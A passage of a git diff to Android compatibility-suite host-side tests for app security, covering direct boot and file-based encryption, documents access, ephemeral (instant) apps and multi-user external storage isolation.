+        // Everything staged; let's pull trigger
+        cmd.setLength(0);
+        cmd.append("pm install-commit");
+        cmd.append(' ').append(sessionId);
+
+        result = device.executeShellCommand(cmd.toString());
+        if (expectingSuccess) {
+            TestCase.assertTrue(result, result.startsWith("Success"));
+        } else {
+            TestCase.assertFalse(result, result.startsWith("Success"));
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index b63b040..2174fa0 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -16,8 +16,8 @@
 
 package android.appsecurity.cts;
 
-import android.appsecurity.cts.SplitTests.BaseInstallMultiple;
-
+import com.android.ddmlib.AdbCommandRejectedException;
+import com.android.ddmlib.CollectingOutputReceiver;
 import com.android.ddmlib.Log;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -47,6 +47,14 @@
     private static final String MODE_EMULATED = "emulated";
     private static final String MODE_NONE = "none";
 
+    private static final String FEATURE_DEVICE_ADMIN = "feature:android.software.device_admin\n";
+    private static final String FEATURE_AUTOMOTIVE = "feature:android.hardware.type.automotive\n";
+
+    private static final long SHUTDOWN_TIME_MS = 30 * 1000;
+
+    private String mFeatureList = null;
+
+    private int[] mUsers;
     private IAbi mAbi;
     private IBuildInfo mCtsBuild;
 
@@ -64,6 +72,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
+        mUsers = Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mCtsBuild);
 
@@ -80,6 +89,22 @@
     }
 
     /**
+     * Automotive devices MUST support native FBE.
+     */
+    public void testAutomotiveNativeFbe() throws Exception {
+        if (!isSupportedDevice()) {
+            Log.v(TAG, "Device not supported; skipping test");
+            return;
+        } else if (!isAutomotiveDevice()) {
+            Log.v(TAG, "Device not automotive; skipping test");
+            return;
+        }
+
+        assertTrue("Automotive devices must support native FBE",
+            MODE_NATIVE.equals(getFbeMode()));
+    }
+
+    /**
      * If device has native FBE, verify lifecycle.
      */
     public void testDirectBootNative() throws Exception {
@@ -125,11 +150,8 @@
     }
 
     public void doDirectBootTest(String mode) throws Exception {
-        int[] users = {};
         boolean doTest = true;
         try {
-            users = createUsersForTest();
-
             // Set up test app and secure lock screens
             new InstallMultiple().addApk(APK).run();
             new InstallMultiple().addApk(OTHER_APK).run();
@@ -141,7 +163,7 @@
             // Give enough time for PackageManager to persist stopped state
             Thread.sleep(15000);
 
-            runDeviceTests(PKG, CLASS, "testSetUp", users);
+            runDeviceTests(PKG, CLASS, "testSetUp", mUsers);
 
             // Give enough time for vold to update keys
             Thread.sleep(15000);
@@ -152,6 +174,7 @@
                 if (res != null && res.contains("Emulation not supported")) {
                     doTest = false;
                 }
+                getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
                 getDevice().waitForDeviceOnline();
             } else {
                 getDevice().rebootUntilOnline();
@@ -160,42 +183,32 @@
 
             if (doTest) {
                 if (MODE_NONE.equals(mode)) {
-                    runDeviceTests(PKG, CLASS, "testVerifyUnlockedAndDismiss", users);
+                    runDeviceTests(PKG, CLASS, "testVerifyUnlockedAndDismiss", mUsers);
                 } else {
-                    runDeviceTests(PKG, CLASS, "testVerifyLockedAndDismiss", users);
+                    runDeviceTests(PKG, CLASS, "testVerifyLockedAndDismiss", mUsers);
                 }
             }
 
         } finally {
             try {
                 // Remove secure lock screens and tear down test app
-                runDeviceTests(PKG, CLASS, "testTearDown", users);
+                runDeviceTests(PKG, CLASS, "testTearDown", mUsers);
             } finally {
                 getDevice().uninstallPackage(PKG);
-                removeUsersForTest(users);
 
                 // Get ourselves back into a known-good state
                 if (MODE_EMULATED.equals(mode)) {
                     getDevice().executeShellCommand("sm set-emulate-fbe false");
+                    getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
                     getDevice().waitForDeviceOnline();
                 } else {
                     getDevice().rebootUntilOnline();
                 }
-                waitForBootCompleted();
+                getDevice().waitForDeviceAvailable();
             }
         }
     }
 
-    private int[] createUsersForTest() throws DeviceNotAvailableException {
-        // TODO: enable test for multiple users
-        return new int[] { 0 };
-//        return Utils.createUsersForTest(getDevice());
-    }
-
-    private void removeUsersForTest(int[] users) throws DeviceNotAvailableException {
-        Utils.removeUsersForTest(getDevice(), users);
-    }
-
     private void runDeviceTests(String packageName, String testClassName, String testMethodName,
             int... users) throws DeviceNotAvailableException {
         for (int user : users) {
@@ -209,18 +222,43 @@
     }
 
     private boolean isBootCompleted() throws Exception {
-        return "1".equals(getDevice().executeShellCommand("getprop sys.boot_completed").trim());
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        try {
+            getDevice().getIDevice().executeShellCommand("getprop sys.boot_completed", receiver);
+        } catch (AdbCommandRejectedException e) {
+            // do nothing: device might be temporarily disconnected
+            Log.d(TAG, "Ignored AdbCommandRejectedException while `getprop sys.boot_completed`");
+        }
+        String output = receiver.getOutput();
+        if (output != null) {
+            output = output.trim();
+        }
+        return "1".equals(output);
+    }
+
+    private boolean hasSystemFeature(final String feature) throws Exception {
+        if (mFeatureList == null) {
+            mFeatureList = getDevice().executeShellCommand("pm list features");
+        }
+
+        return mFeatureList.contains(feature);
     }
 
     private boolean isSupportedDevice() throws Exception {
-        final String featureList = getDevice().executeShellCommand("pm list features");
-        return featureList.contains("feature:android.software.device_admin\n");
+        return hasSystemFeature(FEATURE_DEVICE_ADMIN);
+    }
+
+    private boolean isAutomotiveDevice() throws Exception {
+        return hasSystemFeature(FEATURE_AUTOMOTIVE);
     }
 
     private void waitForBootCompleted() throws Exception {
         for (int i = 0; i < 45; i++) {
             if (isBootCompleted()) {
                 Log.d(TAG, "Yay, system is ready!");
+                // or is it really ready?
+                // guard against potential USB mode switch weirdness at boot
+                Thread.sleep(10 * 1000);
                 return;
             }
             Log.d(TAG, "Waiting for system ready...");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index d81abb6..6f3b8cd 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -16,7 +16,7 @@
 
 package android.appsecurity.cts;
 
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 
 /**
  * Set of tests that verify behavior of
@@ -31,9 +31,8 @@
         super.setUp();
 
         getDevice().uninstallPackage(PROVIDER_PKG);
-
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, PROVIDER_APK), false));
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        assertNull(getDevice().installPackage(buildHelper.getTestFile(PROVIDER_APK), false));
     }
 
     @Override
@@ -70,4 +69,28 @@
     public void testTransferDocument() throws Exception {
         runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testTransferDocument");
     }
+
+    public void testFindDocumentPathInScopedAccess() throws Exception {
+        runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testFindDocumentPathInScopedAccess");
+    }
+
+    public void testOpenDocumentAtInitialLocation() throws Exception {
+        runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testOpenDocumentAtInitialLocation");
+    }
+
+    public void testOpenDocumentTreeAtInitialLocation() throws Exception {
+        runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testOpenDocumentTreeAtInitialLocation");
+    }
+
+    public void testCreateDocumentAtInitialLocation() throws Exception {
+        runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testCreateDocumentAtInitialLocation");
+    }
+
+    public void testCreateWebLink() throws Exception {
+        runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testCreateWebLink");
+    }
+
+    public void testEject() throws Exception {
+        runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testEject");
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java
index 009d81b..6e03cdf 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java
@@ -16,7 +16,7 @@
 
 package android.appsecurity.cts;
 
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceTestCase;
@@ -27,7 +27,7 @@
 /**
  * Base class for {@link android.provider.DocumentsContract} and related test cases.
  */
-abstract  class DocumentsTestCase extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+abstract class DocumentsTestCase extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
     protected static final String CLIENT_PKG = "com.android.cts.documentclient";
     protected static final String CLIENT_APK = "CtsDocumentClient.apk";
 
@@ -48,6 +48,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mCtsBuild);
 
@@ -68,8 +69,7 @@
 
     protected void reinstallClientPackage() throws Exception {
         getDevice().uninstallPackage(CLIENT_PKG);
-
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, CLIENT_APK), false));
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        assertNull(getDevice().installPackage(buildHelper.getTestFile(CLIENT_APK), false));
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
new file mode 100644
index 0000000..c0e8b6a
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -0,0 +1,299 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.appsecurity.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Tests for ephemeral packages.
+ */
+public class EphemeralTest extends DeviceTestCase
+        implements IAbiReceiver, IBuildReceiver {
+
+    // a normally installed application
+    private static final String NORMAL_APK = "CtsEphemeralTestsNormalApp.apk";
+    private static final String NORMAL_PKG = "com.android.cts.normalapp";
+
+    // the first ephemerally installed application
+    private static final String EPHEMERAL_1_APK = "CtsEphemeralTestsEphemeralApp1.apk";
+    private static final String EPHEMERAL_1_PKG = "com.android.cts.ephemeralapp1";
+
+    // the second ephemerally installed application
+    private static final String EPHEMERAL_2_APK = "CtsEphemeralTestsEphemeralApp2.apk";
+    private static final String EPHEMERAL_2_PKG = "com.android.cts.ephemeralapp2";
+
+    // a normally installed application with implicitly exposed components
+    private static final String IMPLICIT_APK = "CtsEphemeralTestsImplicitApp.apk";
+    private static final String IMPLICIT_PKG = "com.android.cts.implicitapp";
+
+    // a normally installed application with no exposed components
+    private static final String UNEXPOSED_APK = "CtsEphemeralTestsUnexposedApp.apk";
+    private static final String UNEXPOSED_PKG = "com.android.cts.unexposedapp";
+
+    private static final String TEST_CLASS = ".ClientTest";
+    private static final String WEBVIEW_TEST_CLASS = ".WebViewTest";
+
+    private static final List<Map<String, String>> EXPECTED_EXPOSED_INTENTS =
+            new ArrayList<>();
+    static {
+        // Framework intents we expect the system to expose to instant applications
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.intent.action.CHOOSER",
+                null, null));
+        // Contact intents we expect the system to expose to instant applications
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.intent.action.PICK", null, "vnd.android.cursor.dir/contact"));
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.intent.action.PICK", null, "vnd.android.cursor.dir/phone_v2"));
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.intent.action.PICK", null, "vnd.android.cursor.dir/email_v2"));
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.intent.action.PICK", null, "vnd.android.cursor.dir/postal-address_v2"));
+        // Storage intents we expect the system to expose to instant applications
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.intent.action.OPEN_DOCUMENT",
+                "android.intent.category.OPENABLE", "\\*/\\*"));
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.intent.action.OPEN_DOCUMENT", null, "\\*/\\*"));
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.intent.action.GET_CONTENT",
+                "android.intent.category.OPENABLE", "\\*/\\*"));
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.intent.action.GET_CONTENT", null, "\\*/\\*"));
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.intent.action.OPEN_DOCUMENT_TREE", null, null));
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.intent.action.CREATE_DOCUMENT",
+                "android.intent.category.OPENABLE", "text/plain"));
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.intent.action.CREATE_DOCUMENT", null, "text/plain"));
+        /** Camera intents we expect the system to expose to instant applications */
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.media.action.IMAGE_CAPTURE", null, null));
+        EXPECTED_EXPOSED_INTENTS.add(makeArgs(
+                "android.media.action.VIDEO_CAPTURE", null, null));
+    }
+
+    private String mOldVerifierValue;
+    private IAbi mAbi;
+    private IBuildInfo mBuildInfo;
+
+    @Override
+    public void setAbi(IAbi abi) {
+        mAbi = abi;
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildInfo = buildInfo;
+    }
+
+    public void setUp() throws Exception {
+        super.setUp();
+
+        Utils.prepareSingleUser(getDevice());
+        assertNotNull(mAbi);
+        assertNotNull(mBuildInfo);
+
+        uninstallTestPackages();
+        installTestPackages();
+    }
+
+    public void tearDown() throws Exception {
+        uninstallTestPackages();
+        super.tearDown();
+    }
+
+    public void testNormalQuery() throws Exception {
+        runDeviceTests(NORMAL_PKG, TEST_CLASS, "testQuery");
+    }
+
+    public void testNormalStartNormal() throws Exception {
+        runDeviceTests(NORMAL_PKG, TEST_CLASS, "testStartNormal");
+    }
+
+    public void testNormalStartEphemeral() throws Exception {
+        runDeviceTests(NORMAL_PKG, TEST_CLASS, "testStartEphemeral");
+    }
+
+    public void testEphemeralQuery() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testQuery");
+    }
+
+    public void testEphemeralStartNormal() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartNormal");
+    }
+
+    // each connection to an exposed component needs to run in its own test to
+    // avoid sharing state. once an instant app is exposed to a component, it's
+    // exposed until the device restarts or the instant app is removed.
+    public void testEphemeralStartExposed01() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed01");
+    }
+    public void testEphemeralStartExposed02() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed02");
+    }
+    public void testEphemeralStartExposed03() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed03");
+    }
+    public void testEphemeralStartExposed04() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed04");
+    }
+    public void testEphemeralStartExposed05() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed05");
+    }
+    public void testEphemeralStartExposed06() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed06");
+    }
+    public void testEphemeralStartExposed07() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed07");
+    }
+    public void testEphemeralStartExposed08() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed08");
+    }
+    public void testEphemeralStartExposed09() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed09");
+    }
+    public void testEphemeralStartExposed10() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed10");
+    }
+
+    public void testEphemeralStartEphemeral() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartEphemeral");
+    }
+
+    public void testExposedSystemActivities() throws Exception {
+        for (Map<String, String> testArgs : EXPECTED_EXPOSED_INTENTS) {
+            final boolean exposed = isIntentExposed(testArgs);
+            if (exposed) {
+                runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testExposedActivity", testArgs);
+            } else {
+                CLog.i("Skip intent; " + dumpArgs(testArgs));
+            }
+        }
+    }
+
+    public void testBuildSerialUnknown() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testBuildSerialUnknown");
+    }
+
+    public void testPackageInfo() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testPackageInfo");
+    }
+
+    public void testWebViewLoads() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, WEBVIEW_TEST_CLASS, "testWebViewLoads");
+    }
+
+    public void testInstallPermissionNotGranted() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionNotGranted");
+    }
+
+    public void testInstallPermissionGranted() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionGranted");
+    }
+
+    private static final HashMap<String, String> makeArgs(
+            String action, String category, String mimeType) {
+        if (action == null || action.length() == 0) {
+            fail("action not specified");
+        }
+        final HashMap<String, String> testArgs = new HashMap<>();
+        testArgs.put("action", action);
+        if (category != null && category.length() > 0) {
+            testArgs.put("category", category);
+        }
+        if (mimeType != null && mimeType.length() > 0) {
+            testArgs.put("mime_type", mimeType);
+        }
+        return testArgs;
+    }
+
+    private boolean isIntentExposed(Map<String, String> testArgs)
+            throws DeviceNotAvailableException {
+        final StringBuffer command = new StringBuffer();
+        command.append("cmd package query-activities");
+        command.append(" -a ").append(testArgs.get("action"));
+        if (testArgs.get("category") != null) {
+            command.append(" -c ").append(testArgs.get("category"));
+        }
+        if (testArgs.get("mime_type") != null) {
+            command.append(" -t ").append(testArgs.get("mime_type"));
+        }
+        return !"No activities found".equals(getDevice().executeShellCommand(command.toString()));
+    }
+
+    private static final String dumpArgs(Map<String, String> testArgs) {
+        final StringBuffer dump = new StringBuffer();
+        dump.append("action: ").append(testArgs.get("action"));
+        if (testArgs.get("category") != null) {
+            dump.append(", category: ").append(testArgs.get("category"));
+        }
+        if (testArgs.get("mime_type") != null) {
+            dump.append(", type: ").append(testArgs.get("mime_type"));
+        }
+        return dump.toString();
+    }
+
+    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+            throws DeviceNotAvailableException {
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+    }
+
+    private void runDeviceTests(String packageName, String testClassName, String testMethodName,
+            Map<String, String> testArgs) throws DeviceNotAvailableException {
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, testArgs);
+    }
+
+    private void installApp(String apk) throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
+        assertNull(getDevice().installPackage(buildHelper.getTestFile(apk), false));
+    }
+
+    private void installEphemeralApp(String apk) throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
+        assertNull(getDevice().installPackage(buildHelper.getTestFile(apk), false, "--ephemeral"));
+    }
+
+    private void installTestPackages() throws Exception {
+        installApp(NORMAL_APK);
+        installApp(UNEXPOSED_APK);
+        installApp(IMPLICIT_APK);
+        installEphemeralApp(EPHEMERAL_1_APK);
+        installEphemeralApp(EPHEMERAL_2_APK);
+    }
+
+    private void uninstallTestPackages() throws Exception {
+        getDevice().uninstallPackage(NORMAL_PKG);
+        getDevice().uninstallPackage(UNEXPOSED_PKG);
+        getDevice().uninstallPackage(IMPLICIT_PKG);
+        getDevice().uninstallPackage(EPHEMERAL_1_PKG);
+        getDevice().uninstallPackage(EPHEMERAL_2_PKG);
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index ae619fe..87d8bd6 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -16,8 +16,7 @@
 
 package android.appsecurity.cts;
 
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -25,6 +24,7 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.AbiUtils;
 
 import java.io.File;
 import java.io.FileNotFoundException;
@@ -52,6 +52,7 @@
     private static final String MULTIUSER_PKG = "com.android.cts.multiuserstorageapp";
     private static final String MULTIUSER_CLASS = ".MultiUserStorageTest";
 
+    private int[] mUsers;
     private IAbi mAbi;
     private IBuildInfo mCtsBuild;
 
@@ -66,13 +67,15 @@
     }
 
     private File getTestAppFile(String fileName) throws FileNotFoundException {
-        return MigrationHelper.getTestFile(mCtsBuild, fileName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        return buildHelper.getTestFile(fileName);
     }
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
 
+        mUsers = Utils.prepareMultipleUsers(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mCtsBuild);
     }
@@ -86,7 +89,6 @@
      * Verify that app with no external storage permissions works correctly.
      */
     public void testExternalStorageNone() throws Exception {
-        final int[] users = createUsersForTest();
         try {
             wipePrimaryExternalStorage();
 
@@ -94,13 +96,12 @@
             String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
             assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
 
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(NONE_PKG, COMMON_CLASS, user);
                 runDeviceTests(NONE_PKG, NONE_CLASS, user);
             }
         } finally {
             getDevice().uninstallPackage(NONE_PKG);
-            removeUsersForTest(users);
         }
     }
 
@@ -110,7 +111,6 @@
      * correctly.
      */
     public void testExternalStorageRead() throws Exception {
-        final int[] users = createUsersForTest();
         try {
             wipePrimaryExternalStorage();
 
@@ -118,13 +118,12 @@
             String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
             assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
 
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(READ_PKG, COMMON_CLASS, user);
                 runDeviceTests(READ_PKG, READ_CLASS, user);
             }
         } finally {
             getDevice().uninstallPackage(READ_PKG);
-            removeUsersForTest(users);
         }
     }
 
@@ -134,7 +133,6 @@
      * correctly.
      */
     public void testExternalStorageWrite() throws Exception {
-        final int[] users = createUsersForTest();
         try {
             wipePrimaryExternalStorage();
 
@@ -142,13 +140,12 @@
             String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
             assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
 
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(WRITE_PKG, COMMON_CLASS, user);
                 runDeviceTests(WRITE_PKG, WRITE_CLASS, user);
             }
         } finally {
             getDevice().uninstallPackage(WRITE_PKG);
-            removeUsersForTest(users);
         }
     }
 
@@ -157,7 +154,6 @@
      * directories belonging to other apps, and those apps can read.
      */
     public void testExternalStorageGifts() throws Exception {
-        final int[] users = createUsersForTest();
         try {
             wipePrimaryExternalStorage();
 
@@ -169,13 +165,13 @@
             // We purposefully delay the installation of the reading apps to
             // verify that the daemon correctly invalidates any caches.
             assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(WRITE_PKG, ".WriteGiftTest", user);
             }
 
             assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
             assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(READ_PKG, ".ReadGiftTest", user);
                 runDeviceTests(NONE_PKG, ".GiftTest", user);
             }
@@ -183,7 +179,6 @@
             getDevice().uninstallPackage(NONE_PKG);
             getDevice().uninstallPackage(READ_PKG);
             getDevice().uninstallPackage(WRITE_PKG);
-            removeUsersForTest(users);
         }
     }
 
@@ -192,15 +187,14 @@
      * isolated storage.
      */
     public void testMultiUserStorageIsolated() throws Exception {
-        final int[] users = createUsersForTest();
         try {
-            if (users.length == 1) {
+            if (mUsers.length == 1) {
                 Log.d(TAG, "Single user device; skipping isolated storage tests");
                 return;
             }
 
-            final int owner = users[0];
-            final int secondary = users[1];
+            final int owner = mUsers[0];
+            final int secondary = mUsers[1];
 
             // Install our test app
             getDevice().uninstallPackage(MULTIUSER_PKG);
@@ -224,9 +218,12 @@
             // Verify they can't poke at each other
             runDeviceTests(MULTIUSER_PKG, MULTIUSER_CLASS, "testUserIsolation", owner);
             runDeviceTests(MULTIUSER_PKG, MULTIUSER_CLASS, "testUserIsolation", secondary);
+
+            // Verify they can't access other users' content using media provider
+            runDeviceTests(MULTIUSER_PKG, MULTIUSER_CLASS, "testMediaProviderUserIsolation", owner);
+            runDeviceTests(MULTIUSER_PKG, MULTIUSER_CLASS, "testMediaProviderUserIsolation", secondary);
         } finally {
             getDevice().uninstallPackage(MULTIUSER_PKG);
-            removeUsersForTest(users);
         }
     }
 
@@ -235,7 +232,6 @@
      * when apps with r/w permission levels move around their files.
      */
     public void testMultiViewMoveConsistency() throws Exception {
-        final int[] users = createUsersForTest();
         try {
             wipePrimaryExternalStorage();
 
@@ -247,31 +243,76 @@
             assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
             assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
 
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testFolderSetup", user);
             }
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testRWAccess", user);
             }
 
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(WRITE_PKG, ".WriteMultiViewTest", "testMoveAway", user);
             }
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testROAccess", user);
             }
 
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(WRITE_PKG, ".WriteMultiViewTest", "testMoveBack", user);
             }
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testRWAccess", user);
             }
         } finally {
             getDevice().uninstallPackage(NONE_PKG);
             getDevice().uninstallPackage(READ_PKG);
             getDevice().uninstallPackage(WRITE_PKG);
-            removeUsersForTest(users);
+        }
+    }
+
+    /** Verify that app without READ_EXTERNAL can play default URIs in external storage. */
+    public void testExternalStorageReadDefaultUris() throws Exception {
+        try {
+            wipePrimaryExternalStorage();
+
+            getDevice().uninstallPackage(NONE_PKG);
+            getDevice().uninstallPackage(WRITE_PKG);
+            final String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+
+            assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
+            assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
+
+            for (int user : mUsers) {
+                enableWriteSettings(WRITE_PKG, user);
+                runDeviceTests(
+                        WRITE_PKG, WRITE_PKG + ".ChangeDefaultUris", "testChangeDefaultUris", user);
+
+                runDeviceTests(
+                        NONE_PKG, NONE_PKG + ".ReadDefaultUris", "testPlayDefaultUris", user);
+            }
+        } finally {
+            // Make sure the provider and uris are reset on failure.
+            for (int user : mUsers) {
+                runDeviceTests(
+                        WRITE_PKG, WRITE_PKG + ".ChangeDefaultUris", "testResetDefaultUris", user);
+            }
+            getDevice().uninstallPackage(NONE_PKG);
+            getDevice().uninstallPackage(WRITE_PKG);
+        }
+    }
+
+    private void enableWriteSettings(String packageName, int userId)
+            throws DeviceNotAvailableException {
